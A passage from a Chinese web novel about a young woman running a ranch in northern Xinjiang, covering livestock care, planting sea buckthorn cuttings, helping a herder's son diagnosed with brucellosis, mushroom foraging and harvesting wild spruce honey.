“单胎，挺好的”，姚新泉笑道，母牛怀孕大多数情况下都是每胎一个胎儿，这种情况对母牛的身体对胎儿都有好处。 但是也有1%-5%的概率下母牛会怀双胎，而且奶牛的几率会大于肉牛，甭管别人是怎么想的，姚新泉不喜欢也不希望，因为这对牛的身体损伤太大了！ 而且自然分娩的可能性就会极小！ 即便最终能正常分娩，可经历过难产后对它们的身体都是极大的伤害。即便不考虑这个，只考虑经济价值，未来也未必能再怀孕了，一样也是损失，所以还是单胎好。 等一圈检查下来后最终只有两头母牛是双胎，姚新泉松了口气，可却又忍不住为它们担忧，“得单独照料了！” 她也得好好学学分娩的知识，到时候艾力兽医肯定得来，自己也得顶上去。 牛都是同一批授精的，预产期也基本都在一起，到时候大家一起生，一名兽医肯定顾不上！ 唉！姚新泉现在就开始头痛了！ 两人收拾好东西出去，有一搭没一搭地聊着天，“下午有时间我把青贮玉米的种子拌一下，上次去培训的时候听他们讲咱们这边种植主要要防治的害虫是地老虎，所以播种前要用辛硫磷去拌一下，今天地差不多能开好了，明天咱们就种。” 牧场里有几块儿地盐碱化比较严重，但是大部分还是不错的，所以有很多地方都能种。 种植这些青贮作物也得轮换，等明年再种至少不能在现在的地方中相同的作物了。 青贮玉米更喜欢中性或者微微偏酸性的土壤，而苜蓿则是偏爱中性或者微微偏碱性的土壤。 她其实也搞不懂这么多，但不懂怎么办？学呗！ “之前我买了两拖拉机的粪肥，不过还不够，还得再去买一些”，姚新泉叹气，本来想着在山下村子买的，但是因为成立了合作社他们是想大干一场的，所以也从养殖户家里收了粪肥，打算春天的时候好好施施肥。 “我去联系吧”，见师月江想请缨姚新泉阻止了，他才刚来，谁都不认识，等熟悉一些之后再说吧！ 明明她做效率更高，没必要为难人。 师月江点头，“咱们要挖水渠吗？” 牧场上有河流，但是也没有说每一个地方都流经，有的地方还是比较旱的。 “或者咱们用一下滴灌？我付钱？”他试探道。 姚新泉无语地看着他，“现在滴灌技术也就是在试点而已，也就棉花种植的时候会适当试用，那东西成本多高啊！一亩地就得要两三千块钱，我这里搞个滴灌别说我去年赚得钱了，我牧场上的牲畜都得赔进去，我疯了啊？你钱没地儿花了？” 第72章 即便被骂了师月江也不生气,他好脾气地笑了笑，“那咱们要不要挖渠？” 姚新泉想了想还是拒绝，“牧场这么大,就算咱们把牲畜家禽都养起来,利用率也不可能到100%,这样的话咱们完全可以找种植条件好一点的地方来。” “别看人工好像说起来不值钱,但是挖渠算下来的话一亩地也得有不少成本呢！我这是创业初期,该手紧的地方紧,该松的松！” 别看她好像赚了点钱，但是她的人工不算钱吗？牧场的租赁不算吗？饲料、肥料、疫苗、驱虫等等，什么不要钱？ 万一再倒霉一点，来点什么疫病,那是真的会将一个养殖户打垮的！ 师月江很认同她这个话。 师家的生意他其实没有怎么参与其中过,最开始家里能起来确实是他爸妈的功劳,但后来两人稍微有了一些成绩便坐不住了，总喜欢一些华而不实的东西。 那时候还在上学的师星野就已经开始插手家里的事情，因为他知道自己如果不管,家里不算厚的家底肯定会被霍霍掉。 做生意就是这样,该花的钱那是绝对不能省的，可不该花的钱那也绝对不能花！ 姚新泉小小年纪看得比许多人都开,师月江愈发觉得她又聪明又理智了。 两人准备回去给小鸭子喂饭,只要是小崽子就没有好养的！ 雏鸭出生后12-24小时之内,还是少量多次喂食,一天差不多要喂六七次。 姚新泉还专门给它们煮了点熟蛋黄碾碎了调成糊糊端给它们，看着摇摇晃晃的小鸭子姚新泉眼中闪过一丝笑意。 洗完手两人刚准备再去看一下翻地的情况就看到姚晓刚坐在张运秋的摩托车后座过来了。 张运秋把车停到一边笑道，“你小姑那人说话做事都没个样子，我跟你小叔不放心还是决定过来看看。” 姚新泉笑着介绍了师月江后带着两人进门,张运秋坐在沙发上感慨，“你这牧场真是一天一个样子啊！”他想伸手摸摸娜娜，娜娜撒腿就跑，张运秋笑得不行！ 姚新泉无奈把水端给他，“你这话就假了啊！我牧场上的牲畜都没放出去呢！牧场上还没完全绿，哪有那么夸张？你跟小叔还要跟我兜圈子啊？” 张运秋指着她跟姚晓刚笑骂，“你说姚晓洁还担心她受欺负，臭丫头这个脾气谁能欺负她？” 他似笑非笑地瞥了师月江一眼，“还有咱们这些亲戚虽然都不是什么能耐人，但是也没有看着自家闺女受欺负的道理，她就是瞎操心！” 姚新泉莞尔一笑看向师月江，感觉不是来找茬，更像是来示威的呢！ 师月江弯了弯嘴角，心情很好。 张运秋跟姚晓刚把师月江叫出去聊了半个小时，回来后态度就不一样了，他用力拍了拍师月江的肩膀，“我们做长辈的也不求你们能有什么成就，平平安安健健康康就行。” 姚晓刚也在一旁笑着点头，“月江个子高，就是太瘦了，以后好好吃饭，多晒晒太阳，你们还年轻，不要觉得瘦了显得好看，健康才是最重要的！” 姚新泉很是惊讶地看向他们三个，“你们这是聊什么了，就这么一会儿的功夫态度都转变了？” 几人淡笑不语，随后两人拒绝了姚新泉的留饭，又骑车下山了。 见他们没有说的意思，姚新泉也没追问，两人未来如何掌握在他们自己手中，谁说了什么都不算，慢慢来吧！ 春天是忙碌的，但也只有忙碌才能带来一年的丰收。 二人种好了青贮玉米、苜蓿，又种了菜跟几亩地的洋姜，等事情都忙完后家里珍珠鸡终于破壳了！ 孵化率不算太低，出壳的小鸡算了一下有将近700只，公母的话姚 新泉确实不会看，打算等大一点之后再去分辨。 姚新泉蒸了一锅小米然后掺了几个鸡蛋黄进去喂小鸡，喂上一两天之后再过度到普通的饲料，当然了也是配比好的。 之后又给它们兑了一些葡萄糖水，加了适量的高锰酸钾，既能促进排胎粪，还能预防肠道病。 牛的话已经被放出了，不过也叮嘱了马合木提江二人晚上得赶回来。 羊的话，因为家里羊的身体素质都还不错，也没见因为怀孕有什么不适的，所以姚新泉也让二人赶出去放了。 当然最重要的原因是家里没粮了！ “去年我爸妈割了一茬，我又种了一次麦草，割了一次，暮秋的时候再草还算茂密的地方又割了一次，再加上我在外面买的精饲料兑着硬是撑到了现在”，姚新泉感慨，“上个月月初的时候牧场上又割了一次，再过两天可以再割一次，等温度起来之后咱们种的这个就会枯掉的。” “这黑麦草倒也神奇，人家还没长好它就能割了，人家该好好长了它又枯萎了。” 姚新泉忍俊不禁，“人家科学家研究出来本来就是为了能够填补饲料空缺的，这不刚好嘛？” “之前那一拨还是晒干的，但这一茬咱们做青贮吧！”差不多这个时候的黑麦草最适合做青贮，而且这阵子天气好，没什么雨水，也方便做。 “你确定不要买乳酸菌嘛？虽然贵一些，但是贵还是有贵的道理的。” “如果这是唯一的选择我可能就忍了，但是又不是，我干嘛要花着冤枉钱？” “到时候用分层加盐法，再添加适量的白糖，家里的塑料膜不够了得买一点，你看下午是你去接杜泊羊还是我去？顺便买点儿塑料膜？” “我去吧”，师月江请缨，主要还是自己这边对接的，来回一趟也麻烦，就不用折腾姚新泉了。 姚新泉点头，“那行，刚好我去咱们牧场后面那座山上看看沙棘”。 “要不要我跟你一起去啊？” 姚新泉摆了摆手，“不是什么大事儿，如果能行的话我就剪点枝条回来扦插，然后明天去把小鹅苗接回来。” 两人怎么突然就想到要去扦插沙棘呢？ 是这样的，上周林业局那边有个讲座要求有一定规模的养殖户都得去听讲座，姚新泉跟师月江两人都去了。 高勇也在，他出来跟姚新泉打招呼的时候就提到了一件事，说是有一户养殖户家里周围有好多沙棘树，他们收了不少沙棘，也没好好保存，结果发霉了。 那家人自己不吃，倒都倒给牛羊吃了，结果倒了一片，整个县的兽医基本都到他家去帮忙了。 姚新泉之前没往这儿想，他那天一提她才反应过来其实可以在牧场上栽种点儿沙棘啊！ 这东西本身就抗旱，而且还能有效固定土壤、防风固沙。虽然说她的牧场如今还没那个情况，她也不会放任牧场退化到那个地步，但是既然这玩意儿能阻止水土流失，栽种一些也无妨。 她有了想法后就跟高勇打听，高勇便把自己知道的都说了。 沙棘的根部还有改良土壤的效果呢！能固氮，改善土壤肥力。 而且人家科学家说了沙棘的果实也有很高的营养价值，虽然姚新泉实在欣赏不来那酸不唧唧的味道，但也许真的有销路？ 高勇想到什么后又补充道，“你别看咱们叫的文绉绉的，还沙棘，但咱们当地人都不这么叫，就叫刺芽子，这东西冬天的时候也能直接用于补充饲料。” 姚新泉之前听别人说过沙棘好像还能酿酒，反正听起来用处多多！ “那这玩意儿栽种麻烦吗？”她牧场上人手少，就算多了师月江也不代表她就闲下来了，所以如果太麻烦那还是算了吧！ 高勇闻言摆了摆手，“都不用你栽种，扦插就行！”之后跟她科普了一下扦插种植沙棘的办法，姚新泉是彻底动心了。 最重要的是，这东西到处都有，也不用她专门花钱去买，顶多就是花费她一点人力和油钱，这能算啥？ 回来后她跟师月江商量了一会儿后便决定可以栽种一下试试，就种在那些栅栏以及牧场中间用来分区的墙边上，也算多一层防护。 不过师月江又提出了另一个想法，既然都要干了，倒不如再弄点儿枸杞回来，这玩意儿的扦插技术已经挺成熟的了，而且新省有挺出名的枸杞产区，从那边买苗子应该也不费劲儿，到时候就一样种在墙边上就成。 另外干脆再弄点儿葡萄栽在门口，夏天院子里也算有个遮挡吧！ 姚新泉不拦着他想为牧场奉献的心，也没提把买苗的钱给他的话，她是不太懂怎么处对象，但是她也明白如果在对方对你好的时候你分得太清楚了未必是好事。 反正两人就这样定下来要栽种枸杞和沙棘的事情，枸杞还有几天才能到，沙棘的话他们这边少，但是他们县另一边可太多了，姚新泉就带了把剪刀打算去剪枝子。 “你穿上长袖，然后再带个头巾把头跟脸都围住啊！”师月江叮嘱道，那东西上面都是小刺，扎着人别提多难受了！ 等他走后姚新泉也没带小家伙们，五个大宝带着点点小老弟去放羊了，虽然说马合木提江两人忙得过来，但是放牧本来就是牧羊犬的工作，几个小家伙都是自愿跟着的。姚新泉一再跟他们叮嘱不许扑牛羊，要小心再小心，家里都是孕妇，要是受到惊吓出事那可就麻烦了！ 皮皮这几天也不跟着狗狗军团们撒欢了，主动陪着平安遛弯，但她也不是个好的，还模仿人家腿瘸了的样子，刚开始还把姚新泉吓了一跳，拉着她用了超声仪才确定孩子人没事，就是脑子不好，把她给气得！ 反正她现在就跟着平安遛弯也不乱跑。 莱尼的话能感觉到她还挺喜欢现在的温度的，不过这孩子是个宅女，每天也就太阳最好的时候出去晒一会儿太阳，晒够了又回屋睡觉。 小白鼬每天自己跑出去玩儿，也见不到影子，但是到了晚上偶尔回来就睡在娜娜背上。 至于小金，正在头顶上盘旋呢！ 姚新泉抬头看了一眼小金，再想想家里的小崽崽们心里软乎乎的。 真好！ 第73章 姚新泉骑上三轮车去了县城另一边,虽说新省是自治区，但是人口数量最多的其实还是汉族，他们县也一样,只是说相对来说这边算是少民的聚居地而已。 姚新泉家牧场所在的县城那边相对来说少民更少一点,这边就更多一些。 姚新泉骑着车上了山后看到一片沙棘树,周围有不少羊群围着在啃树枝。 姚新泉带上剪刀跟尿素袋子把车停到一边自己往前走去,坐在那打盹的老汉感觉到有人过来了回头见是个小姑娘朝她笑了笑。 姚新泉也笑了笑,主动用哈语朝他解释自己是来剪沙棘树枝的。 老汉有点奇怪,“你剪这个干什么？外面不到处都是吗？” “我家那边少，我打算剪一点回去扦插围在牧场周围的。” 老汉点了点头，主动过来 帮她选树枝，姚新泉也不客气,告诉他自己要表皮灰褐色的健壮枝条,不能有病不能有虫。 老汉闲着也是闲着便跟她聊了起来,他说自家有两个儿子一个女儿，小儿子出去打工了，大闺女已经嫁人了,大儿子在家跟自己放牧。 姚新泉看他年纪也不小了便好奇问,“那你儿子今天怎么没过来？” 这边年纪大的人出来放牧的倒也不少，牛羊只要赶到一片有草的地方,又没有野兽攻击,本身也没有发情的话一点儿也不难管,老汉一样能放羊,顶多就是往回家赶的时候可能有点儿皮。 姚新泉只是随口一问，没想到老汉皱起了眉头，“病了，发烧烧了好几天,去卫生室拿了退烧药还打了针都没用，不敢让他出来吹风。” 也不知道是不是姚新泉太过敏感了，她看向了羊群，羊群中明显有两只羊很是消瘦。 她不受控制地走了过去，羊群没有跑掉，老汉也跟着过来了有些不解地看向她，“怎么了？” “这两头是不是才流过产？” 老汉听罢又皱眉，“是啊，羊娃子掉了啊！” 姚新泉的心彻底沉了下去，“你儿子是不是关节处也会疼痛？” 见老汉点头姚新泉缓缓吐出一口气，心中的石头终于落地了，她神情很是严肃，“得赶紧送你儿子去医院，我怀疑他得了布病！” “布病？”老汉先是懵了一下，等反应过来后脸都白了，“布病？他没受伤啊！” 一般布病都是通过皮肤伤口或者黏膜接触病畜的血液、胎盘、排泄物等才会得病，具体他儿子是怎么回事姚新泉也不清楚，但是她现在很确定的就是必须得赶紧送医院了。 “我先把羊赶回去，得赶紧去医院看看”，老汉这下彻底坐不住了，姚新泉也顾不得别的，跟他一起把羊赶下山，缓缓开着三轮车在后面跟着。 老汉家离得不太远，等两人到了之后巴合提亚尔跟媳妇说了姚新泉的猜测，几人赶紧去了他儿子努尔兰的屋子。 姚新泉也不是学医的，不知道他到底是不是布病，可看他脸色潮红身体很不舒服的样子就知道问题肯定不小，“先送医院吧！” 这边离医院不近，平时出行都是靠骑马，巴合提亚尔让媳妇牵马过来，想背着努尔兰出门，可他确实年纪不小了，还有点驼背，努尔兰个子又高，腿都拖在地上，他几乎寸步难行。 姚新泉叹了口气，“我来吧”，她让巴合提亚尔把努尔兰放在那儿想要背人，巴合提亚尔哪里肯。 “不行，不行，他病了，不能让你背！”人家好心提醒他已经对他有恩了，怎么能让他背儿子呢？ 姚新泉知道他的意思，“没事儿，布病基本不会人传人的，你别担心，而且我力气大”，说完把人往上一抄便背在了背上。 出了门也没往马那儿去，直直去了自己三轮车那边，“你把车厢里的刺芽子捡出来”。 巴合提亚尔叹了口气还是照做，他是个自私的人，做不出把她推出去的事情。 也顾不得别的，将人放在了后面姚新泉就赶紧上车，巴合提亚尔也跟着上马，两人什么也顾不得赶紧往医院赶去。 半个多小时后两人到了县医院，姚新泉把车停好背着人就往急诊跑去，巴合提亚尔把马一栓也跟着往里跑，心里又是感激又是担忧的。 姚新泉进了大厅后有护士见她背着个人赶忙让她先放到一边，“怎么了？患者什么情况？” “发烧好几天了，也会关节疼，虽然家人说没有接触过病畜，但是他家里有两头羊流产了”，姚新泉也不敢直接说自己的推测，万一错了那不是误导别人吗？所以她只能把自己观察的情况说了出来。 小护士不清楚是什么情况，赶紧跑去问了医生后带着她往诊疗室走，巴合提亚尔手足无措地跟在后面，他不会说汉话。 急诊里是一位四十多岁的男医生，听姚新泉说了症状后医生皱了皱眉，“先给患者做RBPT”，说完跟姚新泉解释，“这个速度比较快，一般情况下三五分钟就能出结果。” 不过医生自己在心里叹气，快是快，但是也有局限性，比方说会出现假阳性，比方说耶尔森菌或者霍乱弧菌的交叉反应。 但是患者有明显的布病症状，若再是阳性那布病的可能性就很大了。 他们县条件一般，也没有做SAT（试管凝集试验）跟CFT（补体结合试验）等检测的条件，只能先这样了。 姚新泉给巴合提亚尔翻译了一遍，医生见她没有少民特征又说了一口流利的哈语便有些好奇，“你是汉族吗？” 姚新泉点头，“是，不过我从小学过。” 医生有些羡慕地看向她，小孩子学习语言就是快，他是过来支边的，如今不少少民都不会汉语，沟通起来很是麻烦。 他倒是也想学，可学了半天也就会那么两句，一跟人对话还不好意思张口，就很费劲儿！ 结果出得很快，阳性。 医生叹了口气，“如果不是有伤口，那可能是食用过被感染的食物之类的，我先联系传染科给患者办住院，你们俩也做个检测吧！” 姚新泉没解释他们才刚认识，很配合地做了检测，而医院这边知道出现布病患者后赶紧联系了防疫站，防疫站那边知道消息后也立马赶了过来。 姚新泉不出所料是阴性，巴合提亚尔也是阴性，他有点担心妻子，姚新泉安抚道，“别担心，防疫站那边会去你家做检查的，也会给你妻子做检测，如果是阴性就没事，如果是阳性那她也得过来接受治疗。” 除此之外防疫站还得追踪传染源，要对他家那边的牧场进行消毒隔离，反正也有许多事情的。 巴合提亚尔坐在医院走廊里叹了口气，知道养殖牲畜可能会得病，可是当病到了自己身上还是觉得受不了。 知道他除了担心自己儿子的身体之外也担心治疗花费的问题，姚新泉又跑去找医生了解情况。 听说内地那边有些地方的农村已经在搞什么合作医疗试点了，姚新泉不知道新省有没有，但是至少他们县现在还是没有的，所以一般的病肯定是得自费。 但这布病不是传染病吗？所以姚新泉就想去了解一下。 问了医生后医生笑着表扬了她两句，“小同志你懂得倒挺多的嘛！因为布病属于法定的传染病，所以防疫站那边是有一定的治疗补贴的，尤其是牧民也算是低收入群体，这种情况防疫站那边都会考虑在内，也有相关的专项经费，应该能给他家分担不少。” 说着他好奇地问了两家的关系，姚新泉大概结束了两句，医生朝她竖起了大拇指，“活雷锋啊！那个巴郎子已经病了有几天了，再拖下去谁也救不了他，他家也算是幸运了！” 姚新泉笑着摇了摇头，见她欲言又止的样子医生又让她有话就直说。 姚新泉组织了一会儿语言后才道，“我知道要求基层的村医有多高的治疗水平也不现实，但是常见病基础病还是得了解吧？” “布病在别的地方可能少见，但是咱们这边大多数是牧区，巴合提亚尔家里那边一点儿耕地都没有，一个村的人都是靠放牧为生的，他应该对布病有最起码的了解吧？巴合提亚尔带儿子去看过病，医生因为他发烧就只给退烧、打针，头痛医头脚痛医脚。咱们是不是得对基层村医做一定的培训呢？” 姚新泉是真的这么认为的，村医确实是难，又没条件又没设备的，而且说难听一点，他如果有真本事难道还会屈居在这里当村医？ 可问题是也不要求他们有多高的技术，照本宣科总行吧？虽然说人生病不可能按照教科书上的去生，但是别的不提，努尔兰身上无论是发烧还是流汗、关节疼不全都是布病的特征？ “说得好！”医生还没说话她就听身后传来一道声音，姚新泉转过身去就见到一中年女同志带着人走了过来，她拍了拍姚新泉的肩膀，“小同志说得特别有道理，我是咱们县防疫站的副站长，这个事情我会联系咱们卫生部门尽快组织的！” 第74章 防疫站的工作人员中有好几个少民,见他们能跟巴合提亚尔沟通，姚新泉就跟他们打了声招呼先离开了。 唉，沙棘还没剪呢！ 之前剪的那些她也不打算去要了,别到时候带回来了些不好的东西。 她换了个方向,去了河流上游那边剪沙棘枝,等剪了满满一车厢后见时间不早了姚新泉便打道回府。 到家后才发现不仅师月江带着杜泊羊回来了,他还把小鹅苗也接了回来。 姚新泉用肩膀撞了他一下,“可以啊你！” 不等师月江问,她便把今天的 事情跟师月江说了一遍，“咱们这边是要求牲畜必须得打疫苗，也不知道他们那边什么情况，中间肯定有不少猫腻！” 师月江无奈地看了她一眼,想说什么最终还是住了嘴,万幸是不会人传人！ “你先去洗澡换衣服,把衣服放到一边，过会儿得消毒，你车我也给喷点儿消毒液吧！” 等姚新泉洗好澡衣服都换了之后才有功夫去问小鹅苗的事情,“刚都没来得及问,鹅苗状态怎么样？” 师月江点了点头，“还可以,我也喂过兑了高锰酸钾的水了,也喂了一些碎玉米。” 姚新泉点头,既然安排好了她也就不专门过去看了,她把沙棘条上端平剪，下端斜剪后只保留两三片叶子，剩下的全部去除，再用草木灰进行消毒,最后放到提前挖好也上过肥的一小片育苗田里去。 这东西不能立马栽种，一样得育苗之后再看情况吧！ 姚新泉去了杜泊羊所在的羊圈，她趴在栏杆上看着里面的公羊，“黑头羊跟白头羊有区别吗？” 师月江摇头，“听说是没有区别，当时他们也问了我们是要黑头的还是白头的，我想着就一半一半吧！” 杜泊羊单论长相其实没什么特殊的，真要说的话那就是虽然是公羊但是没长角，以及毛又短又稀疏。 “跟秃子一样”，姚新泉叹气，“还是咱们本地的羊长得好看！” “你吃过杜泊羊的肉吗？” 师月江摇头，他们家不太讲究吃的，不对，准确地说他跟他哥不讲究，但是按他爸妈现在的情况来看应该还是比较追逐吃好喝好的。 “我也没吃过，只是我看书上说杜泊羊的瘦肉率很高，脂肪分布也比较均匀，肉质细嫩多汁，应该还挺好吃的。” 姚新泉盯上杜泊羊很重要的一个原因就是因为瘦肉率高。 以前大家日子穷，肚子里都没油水，要有点肉票肯定是希望买肥的，板油也贵。 但这两年已经能感觉出来了，肥肉没那么受欢迎了。 现在买肉不用肉票，也允许私人养殖了，只要你有钱就能在市面上买到肉，肚子里不缺油水了，自然要追求别的，比如说口感。 “我觉得将来不管在国内还是国外，健康饮食肯定是会慢慢推广开来的，重油重盐已经不提倡了！如果羊身上都是肥膘，未必卖得上价格！” 师月江发现姚新泉真的不像是一个小县城出生长大、没见过太多世面的女孩子，在很多事情上的见解非常独到。 “你引进杜泊羊就是为了这样？” 姚新泉点头，“不只是杜泊羊，珍珠鸡也一样，不能只要求肥，要追求口感，哪怕育肥也不能让它们一身肥膘。” 刚到的杜泊羊需要隔离并且还得调理身体状态之后再去配种，所以这几天也不急着处理它们的事情。 不过这两天可以把小鸭子放出去散养了。 这天一大早姚新泉跟师月江以及朵朵还有两匹马以及小白鼬一起去放鸭子，五月初北疆牧场上白天的温度已经有十六七度，一月龄的小鸭子已经可以在外面散养了。没办法，地主家里没余粮了，还得留一些给才孵化出来没多久的小鸡跟小鹅呢！ “朵朵一直跟皮皮最好，现在看来跟平安关系也不错呢！”朵朵走在平安和皮皮的中间，哪怕他因为要去驱赶鸭子跑开了，它们俩也会把位置空留给他。 平安背上站着一只小白鼬，它人立而站，探头探脑的，一幅对什么都很好奇的模样，也不怕摔下来！ “朵朵是狗狗中性格最外向的，皮皮也闹腾，他们俩才能玩到一起去。” 说起来师月江都觉得好笑，在进入姚新泉的牧场前他是怎么都想不到这群小家伙会成为伙伴的！ 狗狗跟马儿做朋友不算奇怪，马儿竟然还能跟小白鼬做朋友！ 就很神奇！ 至于莱尼那就更不用说了，一只生活在非洲的豹子如今天天在院子里晒太阳，明明还没成年就搞得跟老大爷一样！ 听着前面朵朵又莫名其妙不知道怎么跟皮皮闹了起来，然后朵朵不愿意站在它俩中间，非要挤到平安另一边去，师月江无奈地笑了，这哪里是小动物，这不就是小朋友吗！ 放鸭子的地方不算太远，几人步行走了将近半个小时，当然了是为了适应小鸭子的速度。 “这两天还得往回赶一下，让它们适应适应，等再过几天它们适应了之后就让它们自己住在鸭圈里了。” 不过就又有一个问题了，得让狗狗军团过来守着，万一有什么小动物会吃鸭子呢？ 家里的小鸭子现在个子还那么小，又没有什么攻击性，但凡是个活物都能抓两只去吃吃，不得不防啊！ 师月江点头认同，“我这两天给他们盖个房子，不能亏待了他们。” 姚新泉捏了捏对方的手，自己什么都没说对方就能理解的感觉真好。 等把小鸭子安顿好姚新泉牵着对方往云杉林那边走，去做两人今天计划好的事情，捡蘑菇。 前天下了雨，昨天应该就出蘑菇了，但两人今天才有时间，所以顺便过来一趟。 两人一人背了一个小背篓，“要是收获多的话咱们就晒干到时候给你哥寄一点过去”。 虽然跟师星野没有见过面，但是前两天的时候收到了师星野安排人寄过来的一批书籍以及两个电话号码，据说两人都是北京那边农大的教授，让姚新泉如果有疑问的话可以联系对方。 姚新泉怎么可能不感动？ “要是冬天的话咱们还能寄一些自己养的牛羊肉过去，但是现在天气热了起来，实在是不方便，所以还是寄干货吧！或者之后看看能不能托运！” 师月江见对自己最重要的两个人看起来相处得很不错心里特别高兴，“我哥不会做饭，但是家里有阿姨，到时候让她给我哥煲汤喝！” 五月份云杉林的叶子长起来了，或者说是整个牧场都绿了起来，似乎只是一瞬间的事情，整片大地就从苍茫而孤寂变成了郁郁葱葱的模样。 云杉林下面因为常年的腐植堆积，踩上去都觉得软绵绵的，姚新泉轻轻用脚拨拉了一下叶子，“虽然我知道咱们这边本土蛇类特别少，应该没有，但是还是有点担心突然窜出来一个到我脸上。” 师月江失笑，“原来也有你怕的东西啊！” 姚新泉白他，“我怕得可多了，蛇我怕，四脚蛇我也怕！” “四脚蛇不是蛇吧？”师月江表情一言难尽。 姚新泉更是无语，“你不会觉得我怕的是蛇这个字吧？我明明怕的是它本身啊！哪天它改名叫鸡了我还是怕啊！” “四脚蛇就是壁虎，我们也叫变色龙，反正那种长得很一言难尽的动物我都怕。” 两人有一搭没一搭地聊着，姚新泉眼尖，一眼就看到了藏在不远处的一颗羊肚菌，她赶忙捡起来给师月江展示，“这个是可以吃的，你过会儿看到蘑菇先问我一下，我虽然不知道哪些不能吃，但我知道哪些能吃，咱们捡能吃的就行。” 师月江点头，他们当初也会学野外生存的相关课程，什么蘑菇能吃他大概有印象，不过他是不会拒绝姚新泉的善意的。 两人在树林下寻摸开，没一会儿姚新泉又捡到了鸡油菌给他看，“这两种都比较容易认，羊肚菌外形就像羊肚，鸡油菌色泽金黄。” 除此之外她又捡到了许多橙红色一朵一朵，掰开后会渗出跟胡萝卜颜色差不多汁液的蘑菇，“这个我不知道叫什么，反正能吃。” 云杉树下都是黑土，又全是腐植，很是肥沃。而且这边之前就没什么人来，现在被她家圈起来那就更没人来了，所以蘑菇也很多，没多大功夫两人都各自捡了一桶。 姚新泉心里美滋滋的，刚想说话突然听到了什么声音，“你听。” 师月江耳朵动了动，“好像是蜜蜂。” “咱们这儿难道有野生蜜蜂？”姚新泉眼睛都亮了，“不会还有蜂蜜吧！” 想到什么她又道，“我听说过一个叫什么云杉蜜的，你听过吗？” 师月江无奈叹气，一时间感觉自己并不像是有钱人家见多识广的大少爷呢！ “云杉树虽然没有花，但是云杉树其实是会分泌一种蜜露的，蜜蜂也会采集这种蜜露去酿造蜂蜜，出来的就是云杉蜜。” “听说这东西好像还有抗菌抗炎的效果呢！我大学有个教授他是有哮喘的，听说人家就介绍他去买这种云杉蜜，据说对一些呼吸道疾病也很有好处。不过到底有没有作用我是不太清楚，但听说他是坚持在买的。而且这东西基本都是国外进口的，死贵！” 姚新泉叹气，那种奢侈品其实不是最贵的，最贵的是有价无市的东西。 “要是有的话到时候也给你哥寄一些回去，听说这个蜜会有一种药味，不知道是不是真的。” 见她一直记挂着自己哥哥，师月江很是感动。两人本来就采好蘑菇了，所以此时就寻着蜜蜂的声音找了过去。 两人顺着声音找了过去，最终停留下一条小溪流旁边，这是流经牧场的这条河少有的几条分支之一，也是因为它的存在，云杉林才会长得这么好！ 第75章 一棵很茂盛的云杉树枝丫上出现了一个巨大的蜂巢,姚新泉心里一动，“你说咱们能养点儿蜜蜂吗？” 师月江！！ “你不会想徒手捉蜜蜂吧！”他很震惊，这也太虎了吧！ 姚新泉没好气地翻了个白眼,“你可以把我想得靠谱一点的！我看上去像傻子吗？” 师月江尴尬地挠了挠头,思绪也回来了,“那咱们是用烟熏还是用布包住全身？” 姚新泉想了想,“都用上,把厚衣服、手套、帽子围巾都穿上,然后再点火熏！” 两人身上也没带火柴只好回去一趟，这次干脆骑着摩托车过来了。 师月江不同意姚新泉去，他一定要自己去，姚新泉也没阻拦。 两人捡了些干却又没有全干的草点燃,师月江小心翼翼地举着点燃的草靠近蜂巢,此时他只觉得自己的心快从嗓子眼儿里跳出来了！ 不过到底只是蜜蜂,就算他被盯了也至于致命，要是马蜂那才真是完蛋呢！ 看着他一步一步靠近蜂巢，蜂巢里的蜜蜂似乎也不安了起来,渐渐开始有蜜蜂从蜂巢中出来,可却也不敢靠近师月江。它们被烟雾压制，只敢往一旁飞去。 师月江把烟雾放在蜂巢下面,自己赶紧离开。 等他退到姚新泉身边后,她隔着手套握了下师月江的手,两人相视一笑。 大概过来十来分钟,师月江再次靠近蜂巢，这次已经感受不到里面有蜜蜂成虫的存在了，他一使劲儿将蜂巢里的蜜脾从树上取了下来，快步靠近姚新泉,“走，回家！” 姚新泉骑上摩托车载着他，带着两人的战利品回家了。 一路摩托骑得飞快。 到了家后师月江摸了摸颠得发麻的屁股，很认真地问她，“你是怕蜜蜂过来寻仇吗？” 姚新泉眯起眼睛笑，“来来来，咱们先看有多少蜂蜜！” 她拿了个干净的盆过来，师月江赶紧把已经往下淌蜜的蜜脾放到盆里，他舔了舔手指，眼睛瞬间就亮了，“甜！” 姚新泉看着蜜脾，有一部分里面有很明显的幼虫，姚新泉把那一部分连带着不小的一块儿蜜脾一起割了下来，“之后你琢磨一下蜂箱怎么做，咱们试试养蜜蜂呗！” 牧场上到了夏季花不要太多，就算不说野花，不是还有苜蓿花吗？ 师月江点头，他没做过，不过可以研究一下。 剩下的蜜脾有一部分的颜色不太一样，姚新泉拿食指轻轻沾了点儿放在嘴里后眉头不禁皱了起来。 “怎么了？” 姚新泉示意他尝尝，师月江也尝了一点，“很怪，感觉不像是传统甜滋滋的蜂蜜，是不是就是你之前说的云杉蜜？” 姚新泉点头，“我其实也不确定，但感觉是，这玩意儿一般人还真消受不了，我总觉得有一股药味儿”，蜂蜜不应该就是甜滋滋的或者带着花香的吗？为什么会有这么奇怪的味道？有钱人真奇怪！ 师月江又品了品，表情好看了一些，“其实除了药味，细品的话是甜味中带着微苦以及烟熏感，口感很复杂，但是味道也挺醇正的。” 姚新泉一言难尽地看着他，“那行，这块儿深色的估计就是云杉蜜，给你留一点儿，剩下的给你哥去尝尝”，他哥也是有钱人，可能也能欣赏得来，可能就是有钱人特供吧！ 看出她的嫌弃了，师月江好脾气地笑了笑。 姚新泉又尝了一下另一边颜色更清透的蜜，眼睛瞬间便亮了起来，“这才是我想要的嘛！不是纯甜，蜂蜜如果太甜的话肯定会显得腻，但是这个你去细品好像还能吃出水果自带的那种微酸，除此之外好像还有花香，也有青草的芳香，很特别，特别得好吃！” 看出她是真喜欢了，师月江这下有了养蜂蜜蜂的动力，“那蜜蜂我看好像跟普通蜜蜂不大一样啊！” 那蜜蜂好像比普通蜜蜂要大一些，而且颜色都不一样，不对，那蜜蜂怎么是黑色的啊！ 师月江瞪大了眼睛，他好像没见过黑色的蜜蜂！而且还长毛！ 姚新泉噗嗤笑出声来，“你在内地没见过也正常，你们见得那种黄黑相间的蜜蜂学名叫东方蜜蜂，就是咱们亚洲的本土蜂，像咱们国内，印度、东南亚这些地方都有。” “你看到这种黑色的蜜蜂是我们本地的蜜蜂，叫新省黑蜂，跟欧洲那边的欧洲黑蜂或者高加索蜂算是一类的，更适应寒冷干旱的气候。比起东方蜜蜂，这种会更大一些，而且基本都是黑色或者深褐色的，还长毛。” 